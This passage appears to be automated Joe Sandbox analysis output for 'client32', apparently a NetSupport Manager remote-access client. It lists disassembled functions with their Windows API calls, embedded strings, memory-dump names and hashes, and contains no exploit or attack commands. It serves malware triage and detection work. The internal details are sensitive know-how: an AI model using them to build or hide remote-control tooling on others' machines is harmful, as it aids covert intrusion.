API String ID: 1183979061-2531374130
Opcode ID: f08ecb250d5c08f7971151e8345e671584c0b4aeb0ad882087bea4862500d0ab
Instruction ID: df2692623f623c820235428dac45199c8cf8223a54f9d11746ef9c8afc1f3fc0
Opcode Fuzzy Hash: f08ecb250d5c08f7971151e8345e671584c0b4aeb0ad882087bea4862500d0ab
Instruction Fuzzy Hash: E241A17AA00616AFCB01CF64DC90FDEB7F9EF45219F048569E855A7241EB35F908CBA0

Function 110593D0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 130windowregistryCOMMON

Download Yara Rule

APIs

RegisterClassA.USER32(111D925C), ref: 11059432

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

CreateWindowExA.USER32(00000000,NSMCobrProxy,11182200,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 11059473
SetPropA.USER32(?,NSMCobrProxy,00000000), ref: 110594FD
GetMessageA.USER32(00000000,?,00000000,00000000), ref: 11059520
TranslateMessage.USER32(?), ref: 11059536
DispatchMessageA.USER32(?), ref: 1105953C

Strings

NSMCobrProxy, xrefs: 11059428, 1105946C, 110594F7
CobrowseProxy.cpp, xrefs: 11059444, 11059485
CobrowseProxy::RunCobrowse, xrefs: 110593FA
_bOK, xrefs: 11059449
m_hAppWin, xrefs: 1105948A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ClassCreateDispatchErrorExitLastProcessPropRegisterTranslateWindowwsprintf
String ID: CobrowseProxy.cpp$CobrowseProxy::RunCobrowse$NSMCobrProxy$_bOK$m_hAppWin
API String ID: 13347155-1383313024
Opcode ID: 0e78c6e4fd56c04fe32ffe47ec9c10ecf785ae34a99339cc59077458bec90890
Instruction ID: 5c93ab26ba0373098ed229eca1638e6ca81362b407f281ecacd63ac87fa716a6
Opcode Fuzzy Hash: 0e78c6e4fd56c04fe32ffe47ec9c10ecf785ae34a99339cc59077458bec90890
Instruction Fuzzy Hash: C0419076E00746AFDB51DF65CC84F9AFBF5AB44718F408569F91697280FB70A800CBA1

Function 111152F0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 96windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

GetVersionExA.KERNEL32(?,View,*NoHideFEP,00000000,00000000), ref: 1111534F
InterlockedExchange.KERNEL32(111DC144,00000001), ref: 11115375
CreateWindowExA.USER32(00000000,button,11182200,50000000,FFFFEC78,00000000,00000014,0000000E,?,00000001,00000000,00000000), ref: 111153BB
SetWindowLongA.USER32(00000000,000000FC,11115270), ref: 111153DB
SetFocus.USER32(00000000), ref: 111153F2
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 1111540C
DestroyWindow.USER32(00000000), ref: 11115422
InterlockedExchange.KERNEL32(111DC144,00000000), ref: 11115439

Strings

View, xrefs: 11115320
button, xrefs: 111153B5
*NoHideFEP, xrefs: 1111531B

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ExchangeInterlockedLong$CreateDestroyFocusVersion__wcstoi64
String ID: *NoHideFEP$View$button
API String ID: 1610953178-1502386645
Opcode ID: 4a4f39a3776c091e559f97f305575d72accde8dafeae70cae36c9c0c9739092f
Instruction ID: 2d5a82bd362b7f12f42ba8e56494d73917878a288bb9a975525e5583549efdad
Opcode Fuzzy Hash: 4a4f39a3776c091e559f97f305575d72accde8dafeae70cae36c9c0c9739092f
Instruction Fuzzy Hash: 4E31A470609372EFEB908B76CDC9B5AF7A8AB06309F54453DF825D6189E7B0A440CB11

Function 1100D550 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 80processCOMMON

Download Yara Rule

APIs

Part of subcall function 110E2E50: LocalAlloc.KERNEL32(00000040,00000014,?,1100D56F,?), ref: 110E2E60
Part of subcall function 110E2E50: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,1100D56F,?), ref: 110E2E72
Part of subcall function 110E2E50: SetSecurityDescriptorDacl.ADVAPI32(?,00000001,00000000,00000000,?,1100D56F,?), ref: 110E2E84

CreateEventA.KERNEL32(?,00000000,00000000,00000000), ref: 1100D587
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1100D5A0
_strrchr.LIBCMT ref: 1100D5AF
GetCurrentProcessId.KERNEL32 ref: 1100D5BF
wsprintfA.USER32 ref: 1100D5E0
_memset.LIBCMT ref: 1100D5F1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,04000000,00000000,00000000,?,?), ref: 1100D629
CloseHandle.KERNEL32(?,00000000), ref: 1100D641
CloseHandle.KERNEL32(?), ref: 1100D64A

Strings

D, xrefs: 1100D61F
%sNSSilence.exe %u %u, xrefs: 1100D5DA

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateDescriptorHandleProcessSecurity$AllocCurrentDaclEventFileInitializeLocalModuleName_memset_strrchrwsprintf
String ID: %sNSSilence.exe %u %u$D
API String ID: 1760462761-4146734959
Opcode ID: 38d3bc3da6cb395c9be1672e1e0789f0a082fd9a3163fbf41da1431788ce246e
Instruction ID: 4a2b6ea11212545f69c7d64acb08f887aa5157aeffa75dc865ae6a9c63889310
Opcode Fuzzy Hash: 38d3bc3da6cb395c9be1672e1e0789f0a082fd9a3163fbf41da1431788ce246e
Instruction Fuzzy Hash: 88219776E51324AFEB50DBA0CC89FDEB77C9B09708F108095F619A71C0DAB0AA44CF65

Function 11133150 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 79libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,ProcessIdToSessionId,00000000,00000000), ref: 11133176
GetProcAddress.KERNEL32(00000000), ref: 1113317D
GetCurrentProcessId.KERNEL32(00000000), ref: 11133193
GetCurrentProcessId.KERNEL32 ref: 111331B1
OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 111331BB
OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 111331CE
GetTokenInformation.ADVAPI32(00000000,0000000C(TokenIntegrityLevel),111D6428,00000004,?), ref: 111331ED
CloseHandle.KERNEL32(00000000), ref: 11133214
CloseHandle.KERNEL32(00000000), ref: 1113321B

Strings

ProcessIdToSessionId, xrefs: 11133165
kernel32.dll, xrefs: 1113316A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Process$Handle$CloseCurrentOpenToken$AddressInformationModuleProc
String ID: ProcessIdToSessionId$kernel32.dll
API String ID: 2536908267-3889420803
Opcode ID: f05b8fede040130ca69cc7ab618329d48fe069b5163e5afb1fda5806a126863c
Instruction ID: e6be192edd1e3b76cf1fdabe392791c1d0a960b91715f14bd5d837152ad25321
Opcode Fuzzy Hash: f05b8fede040130ca69cc7ab618329d48fe069b5163e5afb1fda5806a126863c
Instruction Fuzzy Hash: CF21C836A14214AFEB019BA58D88F9EFFBCDB88766F104155FD10D3248D730D505CB64

Function 11085070 Relevance: 18.1, APIs: 12, Instructions: 149COMMON

Download Yara Rule

APIs

IsValidSid.ADVAPI32(00000000,00000000,00000000,00000000,11085320,00000000,?,?,000F037F,00000000,00000000), ref: 110850AD

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Valid
String ID:
API String ID: 1304828667-0
Opcode ID: 07d1f4d55114712ce09944c96b79fb0dbf7eda27ec4e79ff2eec5c2a7d7a1562
Instruction ID: 676b2b3de2148593dc90d10c3e1cfc66e629af1c8c3f0d5084bd27d7bb4b02fe
Opcode Fuzzy Hash: 07d1f4d55114712ce09944c96b79fb0dbf7eda27ec4e79ff2eec5c2a7d7a1562
Instruction Fuzzy Hash: 6A417372E0422A9FDB11CFA4CC85BAEBBB8EF44755F1041A9FC15E7248D7319901CBA1

Function 1106D2C0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 175sleeptimeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000000,?,?,?,111B83A0), ref: 1106D358
Sleep.KERNEL32(00000064,?,?,111B83A0), ref: 1106D3A2
DeleteCriticalSection.KERNEL32(?,?,?,111B83A0), ref: 1106D430
DeleteCriticalSection.KERNEL32(?,?,?,111B83A0), ref: 1106D436
DeleteCriticalSection.KERNEL32(?,?,?,111B83A0), ref: 1106D43C
DeleteCriticalSection.KERNEL32(?,?,?,111B83A0), ref: 1106D442
DeleteCriticalSection.KERNEL32(?,?,?,111B83A0), ref: 1106D448
DeleteCriticalSection.KERNEL32(?,?,?,111B83A0), ref: 1106D44E

Part of subcall function 11103160: DeleteCriticalSection.KERNEL32(75A37AB0,82E0FB89,?,75A37AA0,00000000,?,00000000,1116FF88,000000FF,?,110B7556), ref: 111031AA
Part of subcall function 11103160: EnterCriticalSection.KERNEL32 ref: 111031F5
Part of subcall function 11103160: SetEvent.KERNEL32(00000264), ref: 1110321E
Part of subcall function 11103160: CloseHandle.KERNEL32(00000264), ref: 11103252
Part of subcall function 11103160: WaitForSingleObject.KERNEL32(00000284,000000FF), ref: 11103260
Part of subcall function 11103160: CloseHandle.KERNEL32(00000284), ref: 1110326D

Strings

idata->dialup == NULL, xrefs: 1106D3CA
..\ctl32\Connect.cpp, xrefs: 1106D3C5

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Delete$CloseHandle$EnterEventKillObjectSingleSleepTimerWait
String ID: ..\ctl32\Connect.cpp$idata->dialup == NULL
API String ID: 161544936-3355235989
Opcode ID: 79aafff9eca0d463449024df2412cdea9a595f767407fb07140581a44bbbffa4
Instruction ID: 36ddb0504334873c216a30337e86c42547ebe3cf26056ee2141bf84180dda08e
Opcode Fuzzy Hash: 79aafff9eca0d463449024df2412cdea9a595f767407fb07140581a44bbbffa4
Instruction Fuzzy Hash: BE51F4B9A046059FD750DBA4C884BAFF7F9AF88308F01415DE95A97280DB74B904CBA1

Function 11141090 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 161windowCOMMON

Download Yara Rule

APIs

Part of subcall function 111409E0: IsWindow.USER32(FFFFC554), ref: 111409ED
Part of subcall function 111409E0: IsWindow.USER32(D8458D00), ref: 111409F7

IsWindow.USER32(00010001), ref: 111410DB
CreateWindowExA.USER32(00000000,AtlAxWin100,about:blank,50300000,80000000,80000000,00000000,00000000,00010001,?,11000000,00000000), ref: 11141138
SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 1114114D

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

UpdateWindow.USER32(?), ref: 11141233
ShowWindow.USER32(?,00000005), ref: 1114123F

Strings

..\CTL32\WBObject.cpp, xrefs: 111410C5, 111410E7
IsWindow(hwndPar), xrefs: 111410EC
!IsInit(), xrefs: 111410CA
AtlAxWin100, xrefs: 11141131
about:blank, xrefs: 1114112C

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Message$CreateErrorExitLastProcessSendShowUpdatewsprintf
String ID: !IsInit()$..\CTL32\WBObject.cpp$AtlAxWin100$IsWindow(hwndPar)$about:blank
API String ID: 3766702438-2471897277
Opcode ID: 6ea1114ac6ccd361845ebdefb1f7c21c818829f08718dc757a911fc34c2f1f58
Instruction ID: 89a1e59c23e27b181d28c6aea5168aafdb7a37f1fac42e7899e5da6e401d876f
Opcode Fuzzy Hash: 6ea1114ac6ccd361845ebdefb1f7c21c818829f08718dc757a911fc34c2f1f58
Instruction Fuzzy Hash: EF5153B9B00645AFDB04DFA9CD85FAAFBE9EB49604F108528F519D7784E730E900CB51

Function 110FB090 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 144COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110FB0BE
EnterCriticalSection.KERNEL32(111DBDA4), ref: 110FB0D1
GetTickCount.KERNEL32 ref: 110FB0D7
GetTickCount.KERNEL32 ref: 110FB223
LeaveCriticalSection.KERNEL32(111DBDA4), ref: 110FB22C

Strings

Warning. simap lock held for %d ms, xrefs: 110FB23C
e:\nsmsrc\nsm\1201\1201f2\ctl32\DataStream.h, xrefs: 110FB16E, 110FB19A
IsA(), xrefs: 110FB173, 110FB19F
TerminateVistaUI, xrefs: 110FB1AF
Warning. took %d ms to get simap lock, xrefs: 110FB0E6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CriticalSection$EnterLeave
String ID: IsA()$TerminateVistaUI$Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock$e:\nsmsrc\nsm\1201\1201f2\ctl32\DataStream.h
API String ID: 956672424-1347840706
Opcode ID: 9c62ae52d175db9da93bd6ceb374a3324fc362af68b10af75ace81d4a3c5c9fa
Instruction ID: 4ec3a70211b026e7dbc4eeca6b9a79e7af00bbee3c8de0b8751296dd8e751a9c
Opcode Fuzzy Hash: 9c62ae52d175db9da93bd6ceb374a3324fc362af68b10af75ace81d4a3c5c9fa
Instruction Fuzzy Hash: 2E519C79E0065AAFDB04DFA5D884B9EF7F4FF55318F0481A8E815A7251E730AD44CB90

Function 110753F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,11079302), ref: 11075430
BeginDeferWindowPos.USER32(00000008), ref: 11075443
GetTopWindow.USER32(?), ref: 11075457
GetClassNameA.USER32(00000000,00000000,00000020), ref: 11075477
GetWindowLongA.USER32(00000000,00000000), ref: 110754AC
GetWindow.USER32(00000000,00000002), ref: 110754C0
CopyRect.USER32(00000002,11079302), ref: 110754DF
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000017), ref: 11075527
EndDeferWindowPos.USER32(00000000), ref: 11075535

Strings

NSMCoolbar, xrefs: 11075479

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$DeferRect$BeginClassClientCopyLongName
String ID: NSMCoolbar
API String ID: 1900817757-4124301854
Opcode ID: 721ac4e266f96a4a850d5aaf4f4e1e8e70e9fe7eb07aeeafc09c1b7f71e7420c
Instruction ID: 697ac5a8752ed506828de34cf2428e8b9a6e2033c0f369928a21e8fa57bdad73
Opcode Fuzzy Hash: 721ac4e266f96a4a850d5aaf4f4e1e8e70e9fe7eb07aeeafc09c1b7f71e7420c
Instruction Fuzzy Hash: 7741AF75E00699AFDB01CF64D8C5AEDFBF5EF49318F1081A9EC95A7240EB329900CB54

Function 110CD040 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 133networkCOMMON

Download Yara Rule

APIs

Part of subcall function 110D37D0: EnterCriticalSection.KERNEL32(111D8C5C,11017228,82E0FB89,?,?,?,111B83A0,11175D28,000000FF,?,11019222), ref: 110D37D1

__CxxThrowException@8.LIBCMT ref: 110CD0C0

Part of subcall function 11151071: RaiseException.KERNEL32(?,?,11103644,?,?,?,?,?,11103644,?,111B83A0), ref: 111510B3

gethostbyname.WSOCK32(111D8BD0,82E0FB89,00000000,?,00000000), ref: 110CD0D5
WSAGetLastError.WSOCK32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,11174E50,000000FF), ref: 110CD0E1
_memmove.LIBCMT ref: 110CD10B
htons.WSOCK32(00000000), ref: 110CD131
socket.WSOCK32(00000002,00000001,00000000), ref: 110CD141
WSAGetLastError.WSOCK32 ref: 110CD14F
connect.WSOCK32(?,?,00000010,?,00000000,000000FF,111D8BE8,00000000,000000FF), ref: 110CD183
WSAGetLastError.WSOCK32 ref: 110CD18E

Part of subcall function 110D55B0: OutputDebugStringA.KERNEL32(111D8BD0,000000FF,NsAppSystem::CNsAsException::CNsAsException,0000002B,111D8BD0,00000000,000000FF,82E0FB89,?,00000000,00000000,?,?,?,00000000,111761AB), ref: 110D5663
Part of subcall function 110D55B0: OutputDebugStringA.KERNEL32(1118BEE8,?,?,?,00000000,111761AB,000000FF,?,110D2C63,?,Invalid Server paramters), ref: 110D566A

Strings

Connect() the socket is not closed, xrefs: 110CD08D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$DebugOutputString$CriticalEnterExceptionException@8RaiseSectionThrow_memmoveconnectgethostbynamehtonssocket
String ID: Connect() the socket is not closed
API String ID: 2474459257-1125742345
